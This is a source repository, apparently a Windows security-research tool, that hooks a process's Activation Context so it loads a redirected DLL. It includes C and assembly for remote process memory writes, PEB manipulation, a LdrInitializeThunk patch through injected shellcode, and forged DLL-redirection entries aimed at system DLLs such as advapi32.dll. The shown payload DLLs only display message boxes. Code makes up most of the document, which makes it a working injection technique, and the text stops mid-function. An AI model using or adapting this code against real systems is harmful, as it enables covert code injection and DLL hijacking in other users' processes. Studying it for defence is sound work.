├── .gitignore ├── cmake.bat ├── sxsoaps.c ├── redirecteddll.c ├── manifest.manifest ├── cmakelists.txt ├── readme.md ├── defs.h ├── asm_code64 └── asm_code.asm ├── asm_code32 └── asm_code.asm ├── ldrdebug.c ├── main.c └── sxstypes.h /.gitignore: -------------------------------------------------------------------------------- 1 | build -------------------------------------------------------------------------------- /cmake.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | rmdir /Q /S build 3 | mkdir build 4 | cd build 5 | cmake -DCMAKE_BUILD_TYPE=Release -G "NMake Makefiles" .. 6 | nmake 7 | cd .. -------------------------------------------------------------------------------- /sxsoaps.c: -------------------------------------------------------------------------------- 1 | #include "defs.h" 2 | 3 | BOOL WINAPI DllMain(__in HINSTANCE hInstance, __in DWORD fdwReason, __in PVOID lpReserved){ 4 | if (fdwReason == DLL_PROCESS_ATTACH){ 5 | MessageBox(0, L"dll hooked...", L"oki", 0); 6 | } 7 | return TRUE; 8 | } -------------------------------------------------------------------------------- /redirecteddll.c: -------------------------------------------------------------------------------- 1 | #include "defs.h" 2 | 3 | BOOL WINAPI DllMain(__in HINSTANCE hInstance, __in DWORD fdwReason, __in PVOID lpReserved){ 4 | if (fdwReason == DLL_PROCESS_ATTACH){ 5 | MessageBox(0, L"dll redirected...", L"oki", 0); 6 | } 7 | return TRUE; 8 | } -------------------------------------------------------------------------------- /manifest.manifest: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /cmakelists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required (VERSION 2.8) 2 | 3 | project(actctx) 4 | add_definitions(-DUNICODE -D_UNICODE) 5 | enable_language(ASM_MASM) 6 | 7 | set(CompilerFlags 8 | CMAKE_CXX_FLAGS 9 | CMAKE_CXX_FLAGS_DEBUG 10 | CMAKE_CXX_FLAGS_RELEASE 11 | CMAKE_C_FLAGS 12 | CMAKE_C_FLAGS_DEBUG 13 | CMAKE_C_FLAGS_RELEASE 14 | ) 15 | foreach(CompilerFlag ${CompilerFlags}) 16 | string(REPLACE "/MD" "/MT" ${CompilerFlag} "${${CompilerFlag}}") 17 | endforeach() 18 | 19 | string(REPLACE "/pdb:" "" CMAKE_C_LINK_EXECUTABLE ${CMAKE_C_LINK_EXECUTABLE}) 20 | string(REPLACE "/pdb:" "" CMAKE_CXX_LINK_EXECUTABLE ${CMAKE_CXX_LINK_EXECUTABLE}) 21 | 22 | string(REPLACE "/O2" "/Od" CMAKE_C_FLAGS ${CMAKE_C_FLAGS}) 23 | 24 | set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /GS-") 25 | 26 | set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /Gz") 27 | if(CMAKE_SIZEOF_VOID_P EQUAL 8) 28 | add_executable(actctx main.c manifest.manifest ldrdebug.c asm_code64/asm_code.asm) 29 | elseif(CMAKE_SIZEOF_VOID_P EQUAL 4) 30 | add_executable(actctx main.c manifest.manifest ldrdebug.c asm_code32/asm_code.asm) 31 | endif() 32 | 33 | set_target_properties(actctx PROPERTIES LINK_FLAGS "/SUBSYSTEM:CONSOLE") 34 | 35 | add_library(sxsoaps SHARED sxsoaps.c) 36 | add_library(redirecteddll SHARED redirecteddll.c) 37 | 38 | target_link_libraries(actctx comctl32.lib ntdll.lib) 39 | 40 | -------------------------------------------------------------------------------- /readme.md: -------------------------------------------------------------------------------- 1 | # Hook ActivationContext 2 | 3 | This is simple tool to hook and force process to load redirected DLL. 4 | 5 | To build and test code you will need **Visual Studio Build tools** 2013, 2015 or 2017, either standalone or one integrated with Visual Studio, and **cmake**: 6 | 7 | * [Visual C++ 2015 Build tools](http://landinghub.visualstudio.com/visual-cpp-build-tools) 8 | * [Build Tools for Visual Studio 2017](https://www.visualstudio.com/downloads/#build-tools-for-visual-studio-2017) 9 | * [cmake](https://cmake.org/) 10 | 11 | Code is manipulating Activation Context DLL redirection in 2 ways. One method would be to fake **AssemblyDirectory** to point to the fake folder where you would store your fake DLL. For this attack **sxsoaps.dll** is used which is at the same time present in the **SystemDefaultActivationContextData**. 12 | 13 | Another attack is to add new DLL redirection which will cause call **LoadLibrary("meh.dll")** to load **redirecteddll.dll**, and this attack can be used against the remote process to fake path of a system dll. In this case I chose to attack **advapi32.dll** loading. 14 | 15 | Of course, next steps would be COM redirection for example, or window class hijacking, but that can be left as an exercise. 16 | 17 | Code also gives ability to debug child process with **--debug** flag. 18 | 19 | ``` 20 | actctx.exe --debug 21 | ``` 22 | 23 | This will cause process to run in infinite loop at the **LdrInitializeThunk** thus debugger can be attached and ActivationContext data parsing can be debugged if needed. 24 | 25 | Similar code for LdrDebug break you may find at [ReWolf's](https://twitter.com/rwfpl) code [repository](https://github.com/rwfpl/rewolf-ldrdebug) if you intend to do stand alone debugging from the very start of the process. 26 | -------------------------------------------------------------------------------- /defs.h: -------------------------------------------------------------------------------- 1 | #define _CRT_SECURE_NO_WARNINGS 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #include "sxstypes.h" 11 | 12 | #include "pshpack4.h" 13 | 14 | #define ACTIVATION_CONTEXT_DATA_APPLICATION_COMPATIBILITY_TYPE_SUPPORTED_OS 1 15 | #define ACTIVATION_CONTEXT_DATA_APPLICATION_COMPATIBILITY_TYPE_MITIGATION 2 16 | 17 | typedef struct ACTIVATION_CONTEXT_DATA_APPLICATION_COMPATIBILITY_ENTRY{ 18 | GUID Guid; 19 | ULONG Type; 20 | }ACTIVATION_CONTEXT_DATA_APPLICATION_COMPATIBILITY_ENTRY, *PACTIVATION_CONTEXT_DATA_APPLICATION_COMPATIBILITY_ENTRY; 21 | 22 | typedef struct ACTIVATION_CONTEXT_DATA_APPLICATION_COMPATIBILITY_INFO{ 23 | ULONG ElementCount; 24 | ACTIVATION_CONTEXT_DATA_APPLICATION_COMPATIBILITY_ENTRY Entry[]; 25 | }ACTIVATION_CONTEXT_DATA_APPLICATION_COMPATIBILITY_INFO, *PACTIVATION_CONTEXT_DATA_APPLICATION_COMPATIBILITY_INFO; 26 | #include "poppack.h" 27 | 28 | typedef NTSTATUS (NTAPI *RTLHASHUNICODESTRING)( 29 | PUNICODE_STRING String, 30 | BOOLEAN CaseInSensitive, 31 | ULONG HashAlgorithm, 32 | PULONG HashValue 33 | ); 34 | //VOID RtlInitUnicodeString(__in PUNICODE_STRING pUnicodeString, __in WCHAR *wsUnicodeString); 35 | 36 | #define HASH_STRING_ALGORITHM_DEFAULT (0) 37 | #define HASH_STRING_ALGORITHM_X65599 (1) 38 | #define HASH_STRING_ALGORITHM_INVALID (0xffffffff) 39 | 40 | NTSTATUS NTAPI NtUnmapViewOfSection( 41 | __in HANDLE ProcessHandle, 42 | __in PVOID BaseAddress 43 | ); 44 | 45 | NTSTATUS NTAPI NtQueryInformationProcess( 46 | _In_ HANDLE ProcessHandle, 47 | _In_ PROCESSINFOCLASS ProcessInformationClass, 48 | _Out_ PVOID ProcessInformation, 49 | _In_ ULONG ProcessInformationLength, 50 | _Out_opt_ PULONG ReturnLength 51 | ); 52 | 53 | VOID InjectLdrBreak(__in HANDLE hProcess, __in HANDLE hThread); 54 | 55 | 56 | -------------------------------------------------------------------------------- /asm_code64/asm_code.asm: -------------------------------------------------------------------------------- 1 | .code 2 | public ExportBreakpoint 3 | ExportBreakpoint: 4 | mov dword ptr [rcx], shellcode_end - shellcode 5 | mov rax, offset shellcode 6 | ret 7 | 8 | .data 9 | shellcode: push rcx 10 | push rdx 11 | push rbx 12 | sub rsp, 30h 13 | mov rbx, rcx 14 | __loop_debugattach: cmp trigger, 1 15 | je __int3 16 | call ntyieldexecution 17 | mov rax, [rbx+080h] ;context.rcx 18 | cmp byte ptr[rax], 0c3h 19 | je __trigger 20 | cmp rax, dbguiremotebreakin 21 | jne __loop_debugattach 22 | __trigger: mov eax, 1 23 | xchg trigger, eax 24 | mov rdx, 0 25 | mov rcx, -2 26 | call ntterminatethread 27 | 28 | __int3: mov rdi, ldrinitializethunk 29 | lea rsi, __oldbytes 30 | mov rcx, len 31 | cld 32 | rep movsb 33 | 34 | add rsp, 30h 35 | pop rbx 36 | pop rdx 37 | pop rcx 38 | push ldrinitializethunk 39 | int 3 40 | ret 41 | 42 | trigger dd 0 43 | __oldbytes: 44 | db 20h dup(90h) 45 | 46 | len dq ? 47 | dbguiremotebreakin dq ? 48 | ldrinitializethunk dq ? 49 | ntyieldexecution dq ? 50 | ntterminatethread dq ? 51 | shellcode_end: 52 | end -------------------------------------------------------------------------------- /asm_code32/asm_code.asm: -------------------------------------------------------------------------------- 1 | .586p 2 | .model flat, stdcall 3 | option casemap:none 4 | 5 | .code 6 | ExportBreakpoint proc dwSize:dword 7 | mov eax, shellcode_end - shellcode 8 | mov ecx, dwSize 9 | mov dword ptr[ecx], eax 10 | mov eax, offset shellcode 11 | ret 12 | ExportBreakpoint endp 13 | 14 | _DATA segment 15 | assume fs:nothing 16 | shellcode: push 0 17 | pushad 18 | call __delta 19 | __delta: pop ebp 20 | lea edi, [esp+24h+10h] 21 | 22 | __loop_debugattach: cmp dword ptr [ebp+ (trigger - __delta)], 1 23 | je __int3 24 | call dword ptr [ebp+(ntyieldexecution - __delta)] 25 | mov eax, [edi+0b0h] ;context.eax 26 | cmp byte ptr[eax], 0c3h 27 | je __trigger 28 | cmp eax, [ebp+(dbguiremotebreakin - __delta)] 29 | jne __loop_debugattach 30 | __trigger: mov eax, 1 31 | xchg [ebp+(trigger - __delta)], eax 32 | push 0 33 | push -2 34 | call dword ptr [ebp+(ntterminatethread - __delta)] 35 | 36 | __int3: mov edi, [ebp+(ldrinitializethunk - __delta)] 37 | lea esi, [ebp+(__oldbytes - __delta)] 38 | mov ecx, [ebp+(len - __delta)] 39 | cld 40 | rep movsb 41 | 42 | mov eax, [ebp+(ldrinitializethunk - __delta)] 43 | mov [esp+20h], eax 44 | popad 45 | 46 | int 3 47 | 48 | ret 49 | trigger: 50 | dd 0 51 | __oldbytes: 52 | db 20h dup(90h) 53 | 54 | len dd ? 55 | dbguiremotebreakin dd ? 56 | ldrinitializethunk dd ? 57 | ntyieldexecution dd ? 58 | ntterminatethread dd ? 59 | shellcode_end: 60 | _DATA ends 61 | 62 | end -------------------------------------------------------------------------------- /ldrdebug.c: -------------------------------------------------------------------------------- 1 | #include "defs.h" 2 | 3 | PVOID ExportBreakpoint(__out DWORD *dwSize); 4 | 5 | VOID InjectLdrBreak(__in HANDLE hProcess, __in HANDLE hThread){ 6 | ULONG_PTR pLdrInitializeThunk; 7 | ULONG_PTR pNtYieldExecution; 8 | ULONG_PTR pNtTerminateThread; 9 | ULONG_PTR pDbgUiRemoteBreakin; 10 | PVOID lpRemoteBuffer; 11 | 12 | PVOID lpBreakpoint; 13 | DWORD dwBreakpoint; 14 | 15 | ULONG len; 16 | DWORD dwOldProt; 17 | 18 | 19 | pLdrInitializeThunk = (ULONG_PTR)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "LdrInitializeThunk"); 20 | pNtYieldExecution = (ULONG_PTR)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtYieldExecution"); 21 | pNtTerminateThread = (ULONG_PTR)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtTerminateThread"); 22 | pDbgUiRemoteBreakin = (ULONG_PTR)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "DbgUiRemoteBreakin"); 23 | 24 | 25 | len = 32; 26 | 27 | lpBreakpoint = ExportBreakpoint(&dwBreakpoint); 28 | 29 | *(ULONG_PTR *)((ULONG_PTR)lpBreakpoint + dwBreakpoint - sizeof(ULONG_PTR) * 1) = pNtTerminateThread; 30 | *(ULONG_PTR *)((ULONG_PTR)lpBreakpoint + dwBreakpoint - sizeof(ULONG_PTR) * 2) = pNtYieldExecution; 31 | *(ULONG_PTR *)((ULONG_PTR)lpBreakpoint + dwBreakpoint - sizeof(ULONG_PTR) * 3) = pLdrInitializeThunk; 32 | *(ULONG_PTR *)((ULONG_PTR)lpBreakpoint + dwBreakpoint - sizeof(ULONG_PTR) * 4) = pDbgUiRemoteBreakin; 33 | *(ULONG_PTR *)((ULONG_PTR)lpBreakpoint + dwBreakpoint - sizeof(ULONG_PTR) * 5) = len; 34 | 35 | memcpy((void *)((ULONG_PTR)lpBreakpoint + dwBreakpoint - sizeof(ULONG_PTR) * 5 - 32), (void *)pLdrInitializeThunk, len); 36 | 37 | lpRemoteBuffer = VirtualAllocEx(hProcess, 0, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 38 | WriteProcessMemory(hProcess, lpRemoteBuffer, lpBreakpoint, dwBreakpoint, 0); 39 | 40 | #ifdef _WIN64 41 | WriteProcessMemory(hProcess, (void *)pLdrInitializeThunk, "\x48\xb8", 2, 0); 42 | WriteProcessMemory(hProcess, (void *)(pLdrInitializeThunk+2), &lpRemoteBuffer, 8, 0); 43 | WriteProcessMemory(hProcess, (void *)(pLdrInitializeThunk+10), "\xff\xe0", 2, 0); 44 | #else 45 | WriteProcessMemory(hProcess, (void *)pLdrInitializeThunk, "\x68", 1, 0); 46 | WriteProcessMemory(hProcess, (void *)(pLdrInitializeThunk+1), &lpRemoteBuffer, 4, 0); 47 | WriteProcessMemory(hProcess, (void *)(pLdrInitializeThunk+5), "\xc3", 1, 0); 48 | #endif 49 | VirtualProtectEx(hProcess, (void *)pLdrInitializeThunk, len, PAGE_EXECUTE_READWRITE, &dwOldProt); 50 | 51 | 52 | 53 | 54 | 55 | } -------------------------------------------------------------------------------- /main.c: -------------------------------------------------------------------------------- 1 | #include "defs.h" 2 | 3 | PACTIVATION_CONTEXT_DATA g_pActivationContextData; 4 | 5 | PVOID GetAssemblyManifestPath(__in ULONG index, __out DWORD *pdwLength){ 6 | PCACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_HEADER pAssemblyHeader; 7 | PACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_ENTRY pAssemblyEntry; 8 | PACTIVATION_CONTEXT_DATA_ASSEMBLY_INFORMATION pAssemblyInfo; 9 | ULONG_PTR AssemblyInformationSection; 10 | 11 | pAssemblyHeader = (PCACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_HEADER)((ULONG_PTR)g_pActivationContextData + g_pActivationContextData->AssemblyRosterOffset); 12 | AssemblyInformationSection = (ULONG_PTR)g_pActivationContextData + pAssemblyHeader->AssemblyInformationSectionOffset; 13 | pAssemblyEntry = (PACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_ENTRY)((ULONG_PTR)g_pActivationContextData + pAssemblyHeader->FirstEntryOffset); 14 | pAssemblyInfo = (PACTIVATION_CONTEXT_DATA_ASSEMBLY_INFORMATION)((ULONG_PTR)g_pActivationContextData + pAssemblyEntry[index].AssemblyInformationOffset); 15 | 16 | if (!pAssemblyInfo->ManifestPathOffset) return NULL; 17 | 18 | *pdwLength = pAssemblyInfo->ManifestPathLength; 19 | return (PVOID)((ULONG_PTR)AssemblyInformationSection + pAssemblyInfo->ManifestPathOffset); 20 | } 21 | 22 | PVOID GetAssemblyDirectoryPath(__in ULONG index, __out DWORD *pdwLength){ 23 | PCACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_HEADER pAssemblyHeader; 24 | PACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_ENTRY pAssemblyEntry; 25 | PACTIVATION_CONTEXT_DATA_ASSEMBLY_INFORMATION pAssemblyInfo; 26 | ULONG_PTR AssemblyInformationSection; 27 | 28 | pAssemblyHeader = (PCACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_HEADER)((ULONG_PTR)g_pActivationContextData + g_pActivationContextData->AssemblyRosterOffset); 29 | AssemblyInformationSection = (ULONG_PTR)g_pActivationContextData + pAssemblyHeader->AssemblyInformationSectionOffset; 30 | pAssemblyEntry = (PACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_ENTRY)((ULONG_PTR)g_pActivationContextData + pAssemblyHeader->FirstEntryOffset); 31 | pAssemblyInfo = (PACTIVATION_CONTEXT_DATA_ASSEMBLY_INFORMATION)((ULONG_PTR)g_pActivationContextData + pAssemblyEntry[index].AssemblyInformationOffset); 32 | 33 | if (!pAssemblyInfo->AssemblyDirectoryNameOffset) return NULL; 34 | 35 | *pdwLength = pAssemblyInfo->AssemblyDirectoryNameLength; 36 | return (PVOID)((ULONG_PTR)AssemblyInformationSection + pAssemblyInfo->AssemblyDirectoryNameOffset); 37 | } 38 | 39 | BOOL SetAssemblyDirectoryPathLength(__in ULONG index, __out DWORD dwLength){ 40 | PCACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_HEADER pAssemblyHeader; 41 | PACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_ENTRY pAssemblyEntry; 42 | PACTIVATION_CONTEXT_DATA_ASSEMBLY_INFORMATION pAssemblyInfo; 43 | ULONG_PTR AssemblyInformationSection; 44 | 45 | pAssemblyHeader = (PCACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_HEADER)((ULONG_PTR)g_pActivationContextData + g_pActivationContextData->AssemblyRosterOffset); 46 | AssemblyInformationSection = (ULONG_PTR)g_pActivationContextData + pAssemblyHeader->AssemblyInformationSectionOffset; 47 | pAssemblyEntry = (PACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_ENTRY)((ULONG_PTR)g_pActivationContextData + pAssemblyHeader->FirstEntryOffset); 48 | pAssemblyInfo = (PACTIVATION_CONTEXT_DATA_ASSEMBLY_INFORMATION)((ULONG_PTR)g_pActivationContextData + pAssemblyEntry[index].AssemblyInformationOffset); 49 | 50 | if (!pAssemblyInfo->AssemblyDirectoryNameOffset) return FALSE; 51 | 52 | pAssemblyInfo->AssemblyDirectoryNameLength = dwLength; 53 | return TRUE; 54 | } 55 | 56 | ULONG ReplaceDLLRedirectionGetRoster(__in WCHAR *wsDllName){ 57 | PCACTIVATION_CONTEXT_DATA_TOC_HEADER pTocHeader; 58 | PCACTIVATION_CONTEXT_DATA_TOC_ENTRY pTocEntry; 59 | PACTIVATION_CONTEXT_STRING_SECTION_HEADER pStringHeader; 60 | PACTIVATION_CONTEXT_STRING_SECTION_ENTRY pStringEntry; 61 | //PACTIVATION_CONTEXT_DATA_DLL_REDIRECTION pDllRedirection; 62 | ULONG index, jindex; 63 | 64 | pTocHeader = (PCACTIVATION_CONTEXT_DATA_TOC_HEADER)((ULONG_PTR)g_pActivationContextData + g_pActivationContextData->DefaultTocOffset); 65 | pTocEntry = (PCACTIVATION_CONTEXT_DATA_TOC_ENTRY)((ULONG_PTR)g_pActivationContextData + pTocHeader->FirstEntryOffset); 66 | 67 | for (index = 0; index < pTocHeader->EntryCount; index++){ 68 | if (pTocEntry[index].Id != ACTIVATION_CONTEXT_SECTION_DLL_REDIRECTION) continue; 69 | 70 | pStringHeader = (PACTIVATION_CONTEXT_STRING_SECTION_HEADER)((ULONG_PTR)g_pActivationContextData + pTocEntry[index].Offset); 71 | 72 | pStringEntry = (PACTIVATION_CONTEXT_STRING_SECTION_ENTRY)((ULONG_PTR)pStringHeader + pStringHeader->ElementListOffset); 73 | for (jindex = 0; jindex < pStringHeader->ElementCount; jindex++){ 74 | if (!_wcsicmp((WCHAR *)((ULONG_PTR)pStringHeader + pStringEntry[jindex].KeyOffset), wsDllName)) return pStringEntry[jindex].AssemblyRosterIndex; 75 | } 76 | } 77 | return 0; 78 | } 79 | /*************************************************************************** 80 | * This code will move DLL_REDIRECTION string section to the end. Update 81 | * offsets properly, and set new DLL_REDIRECTION entry which will allow 82 | * dll redirection to another dll. If NtRead/WriteVirtualMemory are used 83 | * suspended process can be faked to load dlls from different path. This 84 | * can be used also at runtime to inject DLL into another process if dll 85 | * loading is triggered somehow, of course, 86 | ***************************************************************************/ 87 | ULONG AddDllRedirection(__in WCHAR *wsDllName, __in WCHAR *wsNewDllPath, __in DWORD dwOldSize, __in DWORD dwNewSize){ 88 | PCACTIVATION_CONTEXT_DATA_TOC_HEADER pTocHeader; 89 | PCACTIVATION_CONTEXT_DATA_TOC_ENTRY pTocEntry; 90 | PACTIVATION_CONTEXT_STRING_SECTION_HEADER pStringHeader; 91 | PACTIVATION_CONTEXT_STRING_SECTION_ENTRY pStringEntry; 92 | PACTIVATION_CONTEXT_DATA_DLL_REDIRECTION pDllRedirection; 93 | PACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT pDllRedirectionPathSegment; 94 | 95 | ULONG index; 96 | ULONG_PTR write_offset; 97 | ULONG_PTR entries_offset; 98 | ULONG_PTR string_write_offset; 99 | UNICODE_STRING UnicodeString; 100 | RTLHASHUNICODESTRING fnRtlHashUnicodeString; 101 | 102 | fnRtlHashUnicodeString = (RTLHASHUNICODESTRING)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlHashUnicodeString"); 103 | 104 | 105 | //these are hardcoded values, properly would be to calculate at runtime how much space we actually need 106 | write_offset = (ULONG_PTR)((ULONG_PTR)g_pActivationContextData + dwNewSize - 0x5000); 107 | entries_offset = (ULONG_PTR)((ULONG_PTR)g_pActivationContextData + dwNewSize - 0x1000); 108 | 109 | pTocHeader = (PCACTIVATION_CONTEXT_DATA_TOC_HEADER)((ULONG_PTR)g_pActivationContextData + g_pActivationContextData->DefaultTocOffset); 110 | pTocEntry = (PCACTIVATION_CONTEXT_DATA_TOC_ENTRY)((ULONG_PTR)g_pActivationContextData + pTocHeader->FirstEntryOffset); 111 | 112 | for (index = 0; index < pTocHeader->EntryCount; index++){ 113 | if (pTocEntry[index].Id != ACTIVATION_CONTEXT_SECTION_DLL_REDIRECTION) continue; 114 | 115 | //do copy to new offset... now move section entries to the end... 116 | memcpy((PVOID)write_offset, (PVOID)((ULONG_PTR)g_pActivationContextData + pTocEntry[index].Offset), pTocEntry[index].Length); 117 | pTocEntry[index].Offset = (ULONG)(write_offset - (ULONG_PTR)g_pActivationContextData); 118 | 119 | pStringHeader = (PACTIVATION_CONTEXT_STRING_SECTION_HEADER)((ULONG_PTR)g_pActivationContextData + pTocEntry[index].Offset); 120 | 121 | //copy entries to the entries_offset... 122 | memcpy((PVOID)entries_offset, (PVOID)((ULONG_PTR)pStringHeader + pStringHeader->ElementListOffset), pStringHeader->ElementCount * sizeof(ACTIVATION_CONTEXT_STRING_SECTION_ENTRY)); 123 | pStringHeader->ElementListOffset = (ULONG)(entries_offset - write_offset); 124 | pStringHeader->Flags = ACTIVATION_CONTEXT_STRING_SECTION_CASE_INSENSITIVE; //0; //say taht we don't have hashing via pseudokey but we support case insensitive 125 | //this is done thus we don't have to reorder entries based on hash... 126 | 127 | //take last existing StringEntry... 128 | pStringEntry = (PACTIVATION_CONTEXT_STRING_SECTION_ENTRY)((ULONG_PTR)pStringHeader + pStringHeader->ElementListOffset + pStringHeader->ElementCount * sizeof(ACTIVATION_CONTEXT_STRING_SECTION_ENTRY)); 129 | pStringHeader->ElementCount++; 130 | 131 | memset(pStringEntry, 0, sizeof(ACTIVATION_CONTEXT_STRING_SECTION_ENTRY)); 132 | 133 | string_write_offset = (ULONG_PTR)pStringEntry + sizeof(ACTIVATION_CONTEXT_STRING_SECTION_ENTRY); 134 | //write key offset... 135 | 136 | //1st add valid pseudo key... 137 | RtlInitUnicodeString(&UnicodeString, wsDllName); 138 | fnRtlHashUnicodeString(&UnicodeString, TRUE, HASH_STRING_ALGORITHM_X65599, &pStringEntry->PseudoKey); 139 | 140 | //2nd set new Key value in string entry (this is used to match dll name) 141 | wcscpy((void *)string_write_offset, wsDllName); 142 | pStringEntry->KeyOffset = (ULONG)(string_write_offset - write_offset); 143 | pStringEntry->KeyLength = (ULONG)wcslen(wsDllName) * sizeof(WCHAR); 144 | string_write_offset += pStringEntry->KeyLength; 145 | pStringEntry->Offset = (ULONG)(string_write_offset - write_offset); 146 | pStringEntry->Length = (ULONG)wcslen(wsNewDllPath) * sizeof(WCHAR) + sizeof(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION) + sizeof(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT); 147 | 148 | //now add new dll redirection 149 | pDllRedirection = (PACTIVATION_CONTEXT_DATA_DLL_REDIRECTION)string_write_offset; 150 | //say that PathSegment will include base dllname and that path should be expanded via ExpandEnvironmentStrings 151 | pDllRedirection->Flags = ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_INCLUDES_BASE_NAME | ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_EXPAND | ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SYSTEM_DEFAULT_REDIRECTED_SYSTEM32_DLL; 152 | //there is only 1 path segment... 153 | pDllRedirection->PathSegmentCount = 1; 154 | pDllRedirection->PathSegmentOffset = (ULONG)(string_write_offset - write_offset + sizeof(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION)); 155 | string_write_offset += sizeof(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION); 156 | 157 | pDllRedirectionPathSegment = (PACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT)string_write_offset; 158 | pDllRedirectionPathSegment->Length = (ULONG)(wcslen(wsNewDllPath) * sizeof(WCHAR)); 159 | pDllRedirectionPathSegment->Offset = (ULONG)(string_write_offset - write_offset + sizeof(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT)); 160 | 161 | string_write_offset += sizeof(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT); 162 | wcscpy((void *)string_write_offset, wsNewDllPath); 163 | string_write_offset += wcslen(wsNewDllPath) * sizeof(WCHAR); 164 | 165 | pTocEntry[index].Length = (ULONG)(string_write_offset - write_offset); 166 | 167 | g_pActivationContextData->TotalSize = (ULONG)(string_write_offset - (ULONG_PTR)g_pActivationContextData); 168 | } 169 | return 0; 170 | 171 | } 172 | 173 | //This is used to create new ActivationContextData. NTDLL doesn't cash this address, and always reads it from PEB 174 | //thus this trick will work... 175 | PVOID RemapActivationContextIncrease(HANDLE hProcess, __in BOOL b_use_system_default, __in DWORD dwExtendSectionSize, __out DWORD *pdwOldLength, __out DWORD *pdwNewLength){ 176 | ULONG_PTR pActivationContextData; 177 | ULONG_PTR pNewActivationContext; 178 | MEMORY_BASIC_INFORMATION mbi; 179 | ULONG_PTR peb; 180 | PROCESS_BASIC_INFORMATION pbi; 181 | ULONG cbNeeded; 182 | PVOID pLocalActivationContextData; 183 | 184 | NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &cbNeeded); 185 | peb = (ULONG_PTR)pbi.PebBaseAddress; 186 | #ifdef _WIN64 187 | if (!b_use_system_default) 188 | ReadProcessMemory(hProcess, (PVOID)(peb+0x2f8), &pActivationContextData, sizeof(pActivationContextData), 0); 189 | else 190 | ReadProcessMemory(hProcess, (PVOID)(peb+0x308), &pActivationContextData, sizeof(pActivationContextData), 0); 191 | 192 | #else 193 | if (!b_use_system_default) 194 | ReadProcessMemory(hProcess, (PVOID)(peb+0x1f8), &pActivationContextData, sizeof(pActivationContextData), 0); 195 | else 196 | ReadProcessMemory(hProcess, (PVOID)(peb+0x200), &pActivationContextData, sizeof(pActivationContextData), 0); 197 | #endif 198 | 199 | VirtualQueryEx(hProcess, (PVOID)pActivationContextData, &mbi, sizeof(mbi)); 200 | pNewActivationContext = (ULONG_PTR)VirtualAllocEx(hProcess, 0, mbi.RegionSize + dwExtendSectionSize, MEM_COMMIT, PAGE_READWRITE); 201 | pLocalActivationContextData = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, mbi.RegionSize + dwExtendSectionSize); 202 | ReadProcessMemory(hProcess, (PVOID)pActivationContextData, pLocalActivationContextData, mbi.RegionSize, 0); 203 | WriteProcessMemory(hProcess, (PVOID)pNewActivationContext, pLocalActivationContextData, mbi.RegionSize, 0); 204 | 205 | #ifdef _WIN64 206 | if (!b_use_system_default) 207 | WriteProcessMemory(hProcess, (PVOID)(peb+0x2f8), &pNewActivationContext, sizeof(pNewActivationContext), 0); 208 | else 209 | WriteProcessMemory(hProcess, (PVOID)(peb+0x308), &pNewActivationContext, sizeof(pNewActivationContext), 0); 210 | #else 211 | if (!b_use_system_default) 212 | WriteProcessMemory(hProcess, (PVOID)(peb+0x1f8), &pNewActivationContext, sizeof(pNewActivationContext), 0); 213 | else 214 | WriteProcessMemory(hProcess, (PVOID)(peb+0x200), &pNewActivationContext, sizeof(pNewActivationContext), 0); 215 | #endif 216 | 217 | *pdwOldLength = (ULONG)mbi.RegionSize; 218 | *pdwNewLength = (ULONG)mbi.RegionSize + dwExtendSectionSize; 219 | return pLocalActivationContextData; 220 | } 221 | 222 | PVOID RemapActivationContext(__in BOOL b_use_system_default){ 223 | ULONG_PTR pActivationContextData; 224 | ULONG_PTR pNewActivationContext; 225 | MEMORY_BASIC_INFORMATION mbi; 226 | ULONG_PTR peb; 227 | 228 | //note ActivationContextData is mapped section, thus to be able to manipulate it we need 229 | //to UnmapViewOfSection and allocate memory instead of it. 230 | #ifdef _WIN64 231 | peb = __readgsqword(0x60); 232 | if (!b_use_system_default) 233 | pActivationContextData = *(ULONG_PTR *)(peb + 0x2f8); 234 | else 235 | pActivationContextData = *(ULONG_PTR *)(peb + 0x308); 236 | #else 237 | peb = __readfsdword(0x30); 238 | if (!b_use_system_default) 239 | pActivationContextData = *(ULONG_PTR *)(peb + 0x1f8); 240 | else 241 | pActivationContextData = *(ULONG_PTR *)(peb + 0x200); 242 | #endif 243 | 244 | VirtualQuery((PVOID)pActivationContextData, &mbi, sizeof(mbi)); 245 | pNewActivationContext = (ULONG_PTR)VirtualAlloc(0, mbi.RegionSize, 